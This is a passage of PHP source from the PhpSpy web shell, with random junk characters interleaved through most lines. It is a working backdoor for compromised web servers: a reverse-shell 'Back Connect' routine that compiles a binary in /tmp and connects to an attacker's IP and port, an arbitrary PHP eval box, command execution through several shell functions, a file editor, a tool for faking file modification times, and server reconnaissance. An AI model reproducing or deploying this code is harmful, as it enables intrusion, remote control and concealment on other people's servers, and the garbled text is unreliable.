- cf('/tmp/angel_bc.c',$back_connect_c);
; z8 H( t8 |" k - $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
2 x9 g8 ?6 L; E" [$ V6 \ - @unlink('/tmp/angel_bc.c');" r" K1 ~7 ]% z& ^
- $res = execute("/tmp/angel_bc $yourip $yourport &");& T; J2 }( E- Z* i; v0 g0 S% {! Q4 B
- }' o) I( p! G" U P) _: n9 m
- m("Now script try connect to $yourip port $yourport ...");
. X, O" `" B, H3 F, r - }
1 g% B B1 d4 j: h7 \, Z* |$ y2 ^ - formhead(array('title'=>'Back Connect'));" t8 D' m8 F- N7 u- g
- makehide('action','backconnect');
8 o3 G, _- F; M6 \3 Y2 x( G5 x - p('<p>');
- w% i W& E& A, @' v, m% ^ - p('Your IP:');. h2 O& _* l( a4 I, X& X4 w4 |3 O
- makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
/ Z( `1 X* B0 G$ G3 k, m& } - p('Your Port:');3 \) \4 m* i- b
- makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
* ~3 Y" i' C$ L/ N1 Q - p('Use:');; Q) k# t/ S0 W; c
- makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1 }7 M5 o( J+ H6 ?6 | - makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));, F9 n" _; p9 T( m% f# S4 `9 D
- p('</p>');
. j8 m! Q' ]9 l% q' k& l - formfoot();
+ ~' o. [4 r% j& O7 I - }//end sql backup& |# R: y/ [9 N/ J3 \+ j! n
- elseif ($action == 'eval') {
. W r$ q6 e: G. Y7 C6 A - $phpcode = trim($phpcode);# } i! k, p! T* t# i7 I$ e- Z
- if($phpcode){8 T( g2 B, `+ c. T# ^$ d6 E# l/ N
- if (!preg_match('#<\?#si', $phpcode)) {
0 f4 y0 ]4 C) b! E( v# Y5 V - $phpcode = "<?php\n\n{$phpcode}\n\n?>";
8 }# r9 q5 d4 f8 y$ M - } l5 j; c3 B5 F3 O6 Y9 B
- eval("?".">$phpcode<?");3 V& }$ c" d6 ^% r- V
- }# a8 \7 c+ f8 U6 m/ N; r8 B# P
- formhead(array('title'=>'Eval PHP Code'));# P! g( U2 }' v% A. o+ L
- makehide('action','eval');+ m; G4 O& n% E6 ?! n* U2 d
- maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
3 p( w8 I0 o- \8 h# F - p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
' e8 R8 W/ W* J4 i5 @$ V, G# S - formfooter();6 ^( }8 K3 o" S
- }//end eval
: }0 H) V: V& q* ]( h1 [* r4 z: P5 {3 ? - # Q. v0 U; h6 X1 K) S9 o, ]' [5 F
- elseif ($action == 'editfile') {- p% {" s+ b4 h% o
- if(file_exists($opfile)) {
& W: L" g/ g7 m' p" W - $fp=@fopen($opfile,'r');; ]2 N# j8 h2 M3 p: |, ?2 I, p O2 {
- $contents=@fread($fp, filesize($opfile));" X/ J/ y/ m# x l, T; v5 V. C0 B$ v
- @fclose($fp);9 O& b, t1 F$ r" a( i0 b/ x a
- $contents=htmlspecialchars($contents);
+ S; ?: ?+ ]) `! | - }% H" e$ F4 v% p2 N' S
- formhead(array('title'=>'Create / Edit File'));
: ? Z% ?& d2 _! ^) U$ w+ { - makehide('action','file');
, g& f9 [' z+ S* A5 ?! R0 _+ X - makehide('dir',$nowpath);- B; h. x" e0 \2 W. G2 K1 I
- makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
9 t' J( z5 w! r3 B6 K n4 ] - maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));6 M! W; w- l/ z
- formfooter();
' f! o! I! h; t- r - }//end editfile
5 D! b5 w7 u& p$ H5 j) x! C -
# I+ X! O8 {- s! _; Y7 c- Z# i - elseif ($action == 'newtime') {
! K$ d. B! z7 [& t - $opfilemtime = @filemtime($opfile);* j$ t, K) g" M [- p
- //$time = strtotime("$year-$month-$day $hour:$minute:$second");, ?6 C8 x) I, ~4 G3 X3 v# W
- $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);( t3 L; | q$ G* m( _/ M
- formhead(array('title'=>'Clone file was last modified time'));4 z- ~4 R. F+ q0 {" L! F- S
- makehide('action','file');9 w7 A# K1 M' X0 K
- makehide('dir',$nowpath);9 O5 x* o& {5 n% f
- makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
4 X/ R2 i4 k+ h# a+ L' W6 x* \ - makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));- q1 j G0 `- X7 F ~
- formfooter();
9 |- ]4 `' U0 N1 p) D - formhead(array('title'=>'Set last modified'));
( {* Y0 E! L0 @3 c; G8 ]3 I9 F - makehide('action','file');
( L& h' l6 @! J2 e% a% j, @ - makehide('dir',$nowpath);; g6 `! e) B' N- y) _0 |' v& l. @
- makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
, N" ]1 S @ g - p('<p>Instead »');) P! t/ p7 q5 \& x
- p('year:');* W" O! Q3 |( P( e& E% m
- makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
4 {+ L( ?% x' D3 Y5 o - p('month:');4 C" A4 I4 ?9 h5 b% M: ] ]! g
- makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
- h1 W0 O, k7 K0 e) Q" S _ J - p('day:');
6 Y% V! T0 ]! h6 M+ s- Q6 C. ^ - makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
$ |0 t) u) p5 W+ P - p('hour:');
4 T, u9 K8 D4 [' n0 t. ~% ?' g - makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
3 j: U' G! i5 W3 f- Z& Z/ @ - p('minute:');) ]" ]0 y" [( c, L- j4 x
- makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));1 Q) C2 Q0 l/ h# x) } b7 q q* \, g
- p('second:');
( V( k/ ]' B/ G) d - makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
' L$ e8 f# T7 P! N# S - p('</p>');
/ N z/ ~& A$ @ - formfooter();
" }1 s+ Q! p0 N0 f: H - }//end newtime* F& \. Z9 r; y! I' ]
-
: e& _+ U$ C! k - elseif ($action == 'shell') {7 e9 [3 g; A2 w; r0 m
- if (IS_WIN && IS_COM) {4 ? \4 ~& r8 ]4 J6 q% c7 l2 P) i
- if($program && $parameter) {
$ N& y9 H. m7 M5 ~( n- w4 | - $shell= new COM('Shell.Application');
; w' y1 V% C' T- m* W - $a = $shell->ShellExecute($program,$parameter);
( }; B5 \$ ^, D+ \ - m('Program run has '.(!$a ? 'success' : 'fail'));
w- D& |$ T$ @ - }9 I: N0 }5 B/ M* y* O- _' j& R' {
- !$program && $program = 'c:\windows\system32\cmd.exe';
# g( l- B7 p0 N* \' N1 D! ~$ J& L - !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';1 w% u% q! ^1 z- b6 _, E* P
- formhead(array('title'=>'Execute Program'));
; {) N8 m' o: }! {3 ] - makehide('action','shell'); f: \; ~9 O# K$ | |% W
- makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
. G3 M, P5 s" c( v - p('<p>');0 r1 \. Q) H' g3 o) \0 Z5 Q, J
- makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
; N. S! t: J6 t0 r - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
& [7 \, |# y g8 B - p('</p>');* w* M; ?. Q4 ?8 p# v5 Y1 B% h
- formfoot();
* ~; M( O) n* S7 |. w5 ~8 A7 m - }, K3 U0 @. i) h! a1 I
- formhead(array('title'=>'Execute Command'));4 ~4 _1 E# y" C- a" A' k* ?, V
- makehide('action','shell');) D) b8 }8 E6 t( h4 F; I: I& l( n, w- ~
- if (IS_WIN && IS_COM) {
* b0 H1 P/ ^4 d+ N - $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');; S5 ~5 ~& c- S/ t1 ~
- makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
9 t o; H3 ]& X. U, z - }
0 a# d' Q( ?% z4 ^% ~ - p('<p>');
+ a, i, y; f% f: @. d5 T: s - makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
$ B2 u& R$ D& q7 v - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));) L: {' B2 H2 @+ I- A
- p('</p>');
4 J/ x0 n; J: a$ m5 C7 x& c - formfoot();7 `% ^ n# V! q0 l
- 6 G. S& @0 {( E# u. J4 v* ?
- if ($command) {) B, X9 A0 S: X2 h
- p('<hr width="100%" noshade /><pre>');
1 T9 N7 R! B8 |. L8 t! L5 Q9 W - if ($execfunc=='wscript' && IS_WIN && IS_COM) {
. x$ o9 `7 ]; ^+ L& G - $wsh = new COM('WScript.shell');
' z$ J5 R# `; q/ k - $exec = $wsh->exec('cmd.exe /c '.$command);# B7 ^' _+ D5 {0 W: u
- $stdout = $exec->StdOut();
7 c) C! |4 i. s) U1 B - $stroutput = $stdout->ReadAll();. y) u' w! |9 G }6 v* ^
- echo $stroutput;4 F w) O+ k( g0 Y
- } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
, ?3 q( ?1 q) a% l0 l! i: M/ }0 D9 j - $descriptorspec = array(
; J' F: u P2 I3 ~* a - 0 => array('pipe', 'r'),' s" |' g8 ^* w
- 1 => array('pipe', 'w'),
N( n) D! N1 H$ o - 2 => array('pipe', 'w')9 {+ E& ^4 A3 `6 t p. z* U g. }
- );# C0 W! }$ X) Q( D% l9 C# r
- $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);5 @" Y" F( F* V
- if (is_resource($process)) {, N. x2 H( _9 S% N. }) _# r, T1 O: e+ ^
- fwrite($pipes[0], $command."\r\n");
- [$ y' p5 S, p - fwrite($pipes[0], "exit\r\n");
/ u0 _7 I9 c6 W% ^: l; A% z - fclose($pipes[0]);- G: |- y2 d m2 f2 ?+ y2 {
- while (!feof($pipes[1])) {, k6 r' c, B, k! a4 S) Y6 e9 y5 s
- echo fgets($pipes[1], 1024);
2 q: x. t4 Z, N - }
# k' H$ x2 I9 _3 ?2 ?3 G2 t4 O - fclose($pipes[1]);6 `2 {, H" P/ K2 Q' {( P0 y! z7 {
- while (!feof($pipes[2])) {
# c# ~1 w3 L( T) | - echo fgets($pipes[2], 1024);
- D1 K p5 H1 d: o1 o - }
% }0 w. j* Z! d8 s5 T - fclose($pipes[2]);: |3 C0 _6 X4 H3 ]
- proc_close($process);
) w! v" z3 c/ y2 n X; y+ X. w; N; K - }
; e; _0 m4 Q& p6 w - } else {
6 r" o% m9 g( a% i6 K: r/ ~ - echo(execute($command));
7 z- _- ~* i5 ]/ s0 Z - }
) N5 ]) N: W$ l8 T; U( x - p('</pre>');
) U4 Q4 j$ j/ b; Y) X - }
9 T8 D& b, j8 i- z - }//end shell
/ e3 F7 c: C% X" r) l/ w& R -
7 o8 @4 F% K+ s - elseif ($action == 'phpenv') {
( n( Z, k' N/ p/ h0 r - $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';8 J6 x* D5 V ^2 x: h
- $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
+ h5 U# r$ c1 ]0 m3 `7 W; X- E0 | - !$dis_func && $dis_func = 'No';
: @2 d; @9 f7 {1 U/ t1 j }8 C! ] - $info = array(
! B' n4 C! M. W! ?2 l. e" h - 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),* \8 n# N2 \* s& G* Y% A2 Q5 c
- 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
$ \6 c; d3 R! Z& V - 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),! B( s: L* A% d1 z c
- 4 => array('Server OS',PHP_OS),
8 y4 ~# [% M7 |. k" W* b& ] - 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
0 U' Y3 W7 P9 j: D- H/ a - 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
7 n4 U$ g* Y4 j' N f9 e - 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),2 t) \: f; J1 t( d
- 8 => array('PHP run mode',strtoupper(php_sapi_name())),$ F: f; x I" X. N7 q3 r
- 9 => array('The file path',__FILE__),
& O& {3 [' l& V1 j) ? - & s( \4 y7 _, Z+ h! m0 }% `: ^
- 10 => array('PHP Version',PHP_VERSION),
+ w" P0 v4 r- T' h% D/ v ` - 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),+ ~0 M9 C$ \3 v1 y/ ~6 _" t
- 12 => array('Safe Mode',getcfg('safe_mode')),
. s4 ~7 F, ^. A+ Y. J* T; t3 U - 13 => array('Administrator',$adminmail),/ ?% f% o- v" V& U
- 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1 t5 E: c2 s: @8 H: T( ^ - 15 => array('enable_dl',getcfg('enable_dl')),
- A0 F: e& d, C0 }0 f# {+ r - 16 => array('display_errors',getcfg('display_errors')),% K' ]/ t1 x; p7 l6 [
- 17 => array('register_globals',getcfg('register_globals')),# j! P4 S5 }, l9 e
- 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),1 P- r% X* f! h1 k. c. n2 F9 y
- 19 => array('memory_limit',getcfg('memory_limit')),( b2 u, _) e: ]8 H! U2 t H7 r
- 20 => array('post_max_size',getcfg('post_max_size')),
: K" V i) E- D; `# M/ c/ z, T - 21 => array('upload_max_filesize',$upsize),
W! {, j& P R) { Y - 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
# w. t% J* D' |! c: Q h - 23 => array('disable_functions',$dis_func),2 W8 M, u. d+ [/ U
- );
3 Q2 D, \4 j0 {- y8 F& B - 5 i/ Q; Y% r$ i1 m: i$ x# j
- if($phpvarname) {4 w. x: M- u9 d# y, V( }# W+ y
- m($phpvarname .' : '.getcfg($phpvarname));
7 d2 Q7 l- t" b4 ^ E2 n6 ]" I - }
; ]. d4 ?' u5 _ -
# F5 t0 Z2 L" C9 l: W( y6 k1 s - formhead(array('title'=>'Server environment'));
; @9 A5 p& ^: U+ G9 c# _ - makehide('action','phpenv');
0 o) D' N+ V6 \ - makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));5 q$ A1 G* [$ y% \/ X* W
- formfooter();1 h# p& t; ~- i. m! g1 m
-
2 |0 I0 [- Z( v! L4 @ - $hp = array(0=> 'Server', 1=> 'PHP');# d7 }8 ^/ @3 b! b3 X
- for($a=0;$a<2;$a++) {; @) K, F. A5 J) n' H% `& r- j- ]
- p('<h2>'.$hp[$a].' »</h2>');
9 y/ ^8 _7 }! D( I8 v - p('<ul class="info">');) F/ x# i, z6 ^ |
- if ($a==0) {0 g6 d# W+ l; w% p% Q, Z7 x: P
- for($i=1;$i<=9;$i++) {
0 ~/ e, U3 f/ y0 J1 _! O( A - p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
; v# d- N. D" x' ]/ i - }
' }9 l* B6 Y3 J6 Z - } elseif ($a == 1) {; {) Z4 o: x f$ v9 B) X# P
- for($i=10;$i<=23;$i++) {0 m1 n e6 n; A1 I! B4 u2 v
- p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
5 n3 q E7 X" `) X - }5 ^) @ K7 p8 w9 A' }2 z
- }
% R) H8 k* L H3 Z - p('</ul>');4 D+ a. y% ?$ q% q
- }
! I5 Y+ q9 f$ t" d& W - }//end phpenv
e3 I$ c D) W3 L6 D5 f, C - 7 `/ o; N1 _3 R: a( r
- else {" ` ~) G Y) ] Z3 d
- m('Undefined Action');
4 y/ n& ~" X9 L - }
' X3 S8 K) n! W1 d - ) J u8 \0 ]9 v& R& }
- ?>
# \# Q' Q% [) ?( ?1 r - </td></tr></table># i4 ? }, }# R8 t9 G
- <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
8 o! g, j! ?2 V% b' Y7 Y8 j0 T. v4 p - <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
) ]1 _2 _+ `0 i/ j2 J/ X) { - Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.& z7 w8 j" L+ T. Y8 O' s- `) u
- </div>
/ m& r% P: Y |9 q L - </body>6 N$ b3 h0 F7 z8 W( k' Q$ T
- </html># S* v/ x- {# M& |2 U- N! B# A* ~
- - H" x X9 t7 G4 z( U2 t; |9 ~, Q
- <?php
" ?! r# S, s8 M) o4 L - ' I' T& C* _; O6 o+ \% d8 n
- /*======================================================) o+ v. V: X3 y
- 函数库' q! R9 u4 H3 ?$ H% T5 Z
- ======================================================*/
3 j. j% G# W: b - * _1 R% h7 G6 n' l- {# Y
- function m($msg) {
3 D. f4 P7 b0 [" q3 m l - echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
5 J. A: B" ~$ f2 {( ^ - echo $msg;2 j& r; E8 g5 @' w
- echo '</div>';3 n9 c- ^; X0 l' z( c& {
- }: z, o1 i; l+ w6 y! d0 }
- function scookie($key, $value, $life = 0, $prefix = 1) {
6 C/ A. G0 W! ~ G T1 d - global $admin, $timestamp, $_SERVER;* Q3 I& W f4 D/ ^4 {5 }
- $key = ($prefix ? $admin['cookiepre'] : '').$key;
6 p) g) G6 b; Q; L) s. J+ o! Z: @ - $life = $life ? $life : $admin['cookielife'];* u( Z1 z+ R% i) j9 V, R ^
- $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
3 R5 Q! }' _; u6 D, l0 p! E - setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
' s' Z2 M1 i; n6 B* b3 W) Q3 y - } : r& ^" X/ c8 O8 q% u
- function multi($num, $perpage, $curpage, $tablename) {" h# r. h( q# ^' [8 F6 a
- $multipage = '';
0 W5 ]0 W! p7 ^( i9 E0 g3 Q - if($num > $perpage) {
; w: K9 v+ k& c8 I* `1 Y - $page = 10;# ?/ P- C, l% S1 E O2 }+ b
- $offset = 5;
3 S+ Q7 `% P9 m, z' ]3 | - $pages = @ceil($num / $perpage);
/ a. S5 }2 B5 N - if($page > $pages) {
# ?. M6 b9 I' o; D2 } - $from = 1;6 ~& U% ~0 R2 V3 @3 @
- $to = $pages;" Q d- ?6 O/ U/ s+ C8 Q5 P4 `
- } else {% r& U9 \' H I3 Z! q
- $from = $curpage - $offset;4 p1 f3 Q* } Y$ L6 M
- $to = $curpage + $page - $offset - 1;) j) o& A5 {3 Z+ |" j g, g7 ~
- if($from < 1) {( m9 l# n% a9 A* s5 h5 o; h$ ]
- $to = $curpage + 1 - $from;$ q2 h1 c: ~* r. Q a1 g! L
- $from = 1;4 @3 _2 Y% y- i# i# d- `: A4 M
- if(($to - $from) < $page && ($to - $from) < $pages) {2 x# |- y+ }* k4 L a7 L
- $to = $page;) q; U' S& H. r3 \
- }
) B, q4 D9 X& O$ m" L6 n - } elseif($to > $pages) {$ I7 v4 C) P8 _' s" D! t( ]
- $from = $curpage - $pages + $to;
5 _* k3 N' M6 K3 P& ~. Z. r' L% y - $to = $pages;$ a& ~8 g9 K; W! J4 M
- if(($to - $from) < $page && ($to - $from) < $pages) {
9 V& e; A* Q, B6 k3 v - $from = $pages - $page + 1;9 X0 J8 G' B# e. g! v
- }
4 m" `& a c: F4 ]1 ]5 O - }
. R% {# [' N* p) Y: \ - }3 N6 u% `: W$ L5 L: C" i1 }. o
- $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
. u1 W. r, M+ x - for($i = $from; $i <= $to; $i++) {3 r: n8 T0 V# O" u& I/ I! W
- $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
7 D+ y+ g( L- i7 r0 Y# ]' c - }
) l# |7 y. ~* G2 s3 v/ d4 d - $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');- @0 B" n5 C' L* x
- $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';1 K4 I% y* w: N$ g4 l/ a8 t
- }
1 ]5 k5 _1 m( Z' [ - return $multipage;. d: w6 K4 X( J5 h( g% Q* B2 b5 P
- }
# B; F% e0 a, b+ d& p( } - // 登陆入口, [3 z2 E4 S4 k7 O8 O0 ?( [, g/ |
- function loginpage() {# R3 Q/ c! m2 o5 [/ r5 u- ]
- ?>* L8 ^1 t. N, B3 H, j/ }0 g$ p9 G
- <style type="text/css">
: |4 ^# ?, m5 P( X6 E, d9 I' T `1 N - input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}2 p3 [/ T$ V, a; T9 e1 S, u
- </style>) s/ z6 u" U2 {
- <form method="POST" action="">* O% i4 D! ]3 a7 K9 P. u
- <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
5 {* a( m5 w$ i - <input type="hidden" name="doing" value="login">5 @2 w2 j5 x" i
- <input type="submit" value="Login">- P% ]/ B' K" \! I, d* |; d1 ~# N, E
- </form>
4 s k. Y, ^4 p) ~' T - <?php
1 f$ S( n0 S. M1 Z* \' ` - exit;1 p: w2 x( g2 n
- }//end loginpage()
' h! Y7 V2 m8 q: H3 H" G/ ] -
7 O$ W% l$ a* N% ?5 l - function execute($cfe) {, X7 F! D# R7 S: `5 L1 p+ Y- D+ t( h
- $res = '';
0 C& y/ ]9 \ w3 O: W( d - if ($cfe) {
8 s1 L1 p% p5 c9 S+ I - if(function_exists('exec')) {1 O2 u1 L# \+ B7 O; d; N- a
- @exec($cfe,$res);4 z" J, G& z) g( H; N8 ~; F
- $res = join("\n",$res);+ _% V+ B* \ Z8 ^( o
- } elseif(function_exists('shell_exec')) {) O4 _% [# X5 `2 Q" N: X" ]
- $res = @shell_exec($cfe);
~5 P! ~. V* W! [( ~: b% l - } elseif(function_exists('system')) {
6 ~% |6 B$ H) v - @ob_start();
# r- F- U. q# f) a8 u& |; _3 T - @system($cfe);8 Z1 F* ` `& ?2 ]2 A; |! j$ f* Z
- $res = @ob_get_contents();0 g+ l3 D8 p' i; t U
- @ob_end_clean();
6 f1 F# F) S6 v( U6 @2 I - } elseif(function_exists('passthru')) {' n8 ? q7 q' I: W a
- @ob_start();
g1 x, ]/ k3 h( {& [1 C - @passthru($cfe);& N3 Q$ x/ f. A7 B
- $res = @ob_get_contents(); ]) N8 V2 q8 P1 z
- @ob_end_clean();, F% H9 c& E8 }: Y" c
- } elseif(@is_resource($f = @popen($cfe,"r"))) {
# Q ]( ^% Y; r+ w; e - $res = '';
, l: U: x6 E, ~8 \4 i; q$ h N - while(!@feof($f)) {
& C; M% X) R* y2 B* b7 ^% v - $res .= @fread($f,1024); ) n! D( r/ Y8 ~* {# p
- }, P F4 R9 n5 C* I5 V, V
- @pclose($f);
: d8 {. s4 t5 r9 Q) E* m4 m - }$ P( U$ ]6 w' w, v! h
- }
2 ~+ T$ ^6 g! @ o0 h& ?5 J; U - return $res;
( k1 f. V2 W: m r& A5 n - }
* Q2 F% A7 }% [- m, L3 y - function which($pr) {
8 f# F5 W0 `' t, F - $path = execute("which $pr");
% B! D* O% {6 c9 D+ M - return ($path ? $path : $pr);
* Q& o" |1 |6 K5 B$ u N( O- @ - }2 }- q/ S% g' R: t0 z" p
- " U6 K1 j1 f6 A8 n
- function cf($fname,$text){9 D1 B$ }/ A( N( h4 ~6 @8 l
- if($fp=@fopen($fname,'w')) {
. t# x5 J1 p3 C7 L3 M5 r - @fputs($fp,@base64_decode($text)); e5 [ d, y1 u# S- z% \8 Y
- @fclose($fp);
% f4 \+ k( f) j* n - }
' r+ s( r; R: `( F$ ^4 ? - }
9 H' S2 U3 r/ }# |: M! l) O -
. D+ \4 {5 h1 S6 j! z - // 页面调试信息( }9 T$ `% x2 O' y( g \" T! ]
- function debuginfo() {
; i) x `( M: b# I) \- p( P9 L* P4 z - global $starttime;
: V) i4 o" z2 }5 t3 x; b: e; D - $mtime = explode(' ', microtime());, J; V \' T6 Q
- $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
! m- c& k$ G2 S; s0 J2 J - echo 'Processed in '.$totaltime.' second(s)';3 [: V& b; ]+ M$ A; Q
- } c; a; E: r0 H4 P: M
- 3 H1 S# j( a7 [
- //连接数据库
+ S4 T& k2 x" P0 b+ O - function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
6 Y+ i& y5 z& [: G5 n# | - if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
8 R2 D" D4 r: g" P- r - p('<h2>Can not connect to MySQL server</h2>');" |8 R/ a! k) X0 G; S
- exit;
$ [, q& ?7 {7 k8 g/ x: U* V1 e - }
0 o% I5 d( W4 {, h" E3 M Q - if($link && $dbname) {
) x% Z: e9 c) }1 P3 U - if (!@mysql_select_db($dbname, $link)) {
, {+ d/ O; x& G( C* w - p('<h2>Database selected has error</h2>');. {$ ~3 {2 G* ~' R
- exit;4 f" ^, l3 \5 h( ^7 R# m
- }, Y/ @% V+ U* `# W0 o; o( |, a9 k
- }: t% E: S" I: H% o
- if($link && mysql_get_server_info() > '4.1') {& U$ `% Q w5 a% `4 U0 L
- if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {& k# ^2 n7 J( G9 ^5 B) x# ^% k0 r
- q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
6 d P6 N+ R2 X4 F! L/ l: d - }
4 M3 P+ l9 P. z$ R! x1 B$ }6 n - }
' H* H& X) S2 M4 g% i+ q1 X# @ - return $link;7 ^( h' f0 d3 }& H" A: T1 J/ _0 \
- }
# c- p' W1 j# f7 q @6 z - 3 w* q% {4 k! U6 ?, Y" ?+ w
- // 去掉转义字符2 F+ J' _+ j5 L! s2 x
- function s_array(&$array) {
/ D6 `' X' U$ F2 e - if (is_array($array)) {
$ ^2 q J9 T6 G; R; q2 a - foreach ($array as $k => $v) {6 N6 X! M5 `: k0 j* q
- $array[$k] = s_array($v);1 o3 B& W& X* u( d. w; V9 U* e
- }
, O. W& y* ?5 P: k- s" W8 v! }) ]% c$ I - } else if (is_string($array)) {
; c$ F7 A' Y# V. Q$ K4 a" o - $array = stripslashes($array);0 ] u6 g) s* y# h
- }7 R% w5 s3 N9 n0 X
- return $array;
& F& k. ]+ ^5 J5 ] - }& [, p1 ~/ G% Y2 _/ z
- * o8 |' F) J% n% l
- // 清除HTML代码
9 u4 [& J7 v1 B% K3 _0 r0 ^ - function html_clean($content) {7 \* g3 b* |6 E- E
- $content = htmlspecialchars($content);" b, a5 y5 n) L
- $content = str_replace("\n", "<br />", $content);
9 w2 m# C3 N: C, ?+ d( a5 Z - $content = str_replace(" ", " ", $content);
( c% g7 E* w" k5 e - $content = str_replace("\t", " ", $content);9 a6 N1 p# @6 ~6 `* c" j0 A9 b, a
- return $content;
8 H* s3 C( V# z - }
3 U9 ?/ V& D' o2 N- c1 R - ! S3 b) ]$ P, Z0 J: e2 Z9 E/ b6 |
- // 获取权限" v, @8 S' F: P) W* s4 V
- function getChmod($filepath){+ S) w& c; r Y/ G; `
- return substr(base_convert(@fileperms($filepath),10,8),-4);' q7 L/ f1 Z' ^
- }1 K; y) V; M% W) J/ H6 e
- ) J0 n$ i# E9 v% n* s7 _
- function getPerms($filepath) {! o% ~; S5 |6 w, W! i2 x# L9 K" N
- $mode = @fileperms($filepath);6 Z! @$ o6 q$ z3 l3 i
- if (($mode & 0xC000) === 0xC000) {$type = 's';}2 X4 h6 {. A/ I! x. m
- elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
% M# d7 T, _+ d! Q! `1 z - elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
4 j4 a, Q0 Z& I0 i$ L* v; e - elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
N5 f, S- e+ K7 k8 ? - elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
% ^- ?( K( o* a" l, P% \9 A4 h$ t - elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}- T/ t7 n; r, E" A" N' e
- elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
# E/ f; C1 I9 Q$ Y' X% j g - else {$type = '?';}
$ C4 H/ \2 F, _ g- @ - 0 P: O A& w) G! S. w. u
- $owner['read'] = ($mode & 00400) ? 'r' : '-'; - H0 y6 R' E- r( O+ X6 C
- $owner['write'] = ($mode & 00200) ? 'w' : '-'; 3 m4 P# {+ W2 [8 @& ]
- $owner['execute'] = ($mode & 00100) ? 'x' : '-'; - H( W; ~1 v2 `) A7 j
- $group['read'] = ($mode & 00040) ? 'r' : '-';
